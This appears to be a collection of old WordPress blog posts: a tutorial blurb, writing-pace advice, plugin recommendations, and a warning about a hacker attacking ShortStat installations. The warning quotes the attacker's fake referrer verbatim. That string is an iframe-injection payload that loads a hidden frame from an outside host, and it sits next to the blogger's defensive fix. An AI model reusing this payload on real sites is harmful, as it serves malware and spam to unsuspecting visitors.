Chris Abraham walks you through how to join the fastest-growing and most elegant free blogging services, WordPress.com. Go from the simple acts of joining all the way through set up and administration. Become a blogger in few than 45-minutes. Most folks only need the first 15 minutes to get you started. Chris is a professional blogging instructor. Enjoy!
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I haven’t gotten too much info as of yet, but somehow their is a russian hacker messing with shortstat installations, the minute you click on shortstat it redirects you to a page filled with ads to adultfriendfinder and the page is also loaded with viruses.
more info as I get it
UPDATE:
ok, i figured it out
i went into my database and he is sending a fake referrer with this as the url
DO NOT OPEN THIS LINK
http://a”></a>what>we<iframe src=http://peewee.6x.to style=display:none></iframe><won.com
DO NOT OPEN THIS LINK
Just open up phpmyadmin and do a search for “iframe” in the wp_ss_stats table
and I would suggest coding something into the wp-shortstat.php to not allow the term “iframe” to be used in referrers.
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If you are in the midst of creating a new article or content for your Web site, remember that time is your friend. Don’t be in a rush but take your time to release your finished work over at least 48 hours or longer.
Our thoughts creatively continue as the old expression suggests…as we “sleep on it.” This applies especially to creative writing or even just copywriting in general. Try working on two or three different projects at a time and over a period of a few days.
Don’t be in a big rush to finish something off quickly. But give yourself the liberty to be creative over a period of time. Fashion your articles as you assemble your thoughts onto paper. Writing is something that flows with practice. Great articles are often born as you take the time you need to write them.
Thanks to John From Search Engine Workshops for this great tip
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If you blog using Wordpress and can’t do something that you want done like adding Sphere-related content at the end of your blog posts you might be surprised to find out that there are already plug-ins available that make it happen.
To find good Wordpress plug-ins all you need to do is search for “wordpress plug-ins” in Google and you’ll find more than enough results to choose from. If you don’t feel like having to click through pages and pages of sites that actually offer just a handful of plug-ins but a whole lot of ads go directly to the official Wordpress plug-ins page. There are lots and lots of plug-ins to choose from there.
Some plug-ins that i recommend for you to install on your blog include:
All-in-one SEO Pack - Optimizes your Wordpress blog for Search Engines; This makes life a lot easier! Automatic generation of meta tags, etc.
SEO Slugs - Removes common words like ‘a’, ‘the’, ‘in’ from post slugs to improve search engine optimization.
Spam Karma – Amazing plugin for spam that learns as it grows.
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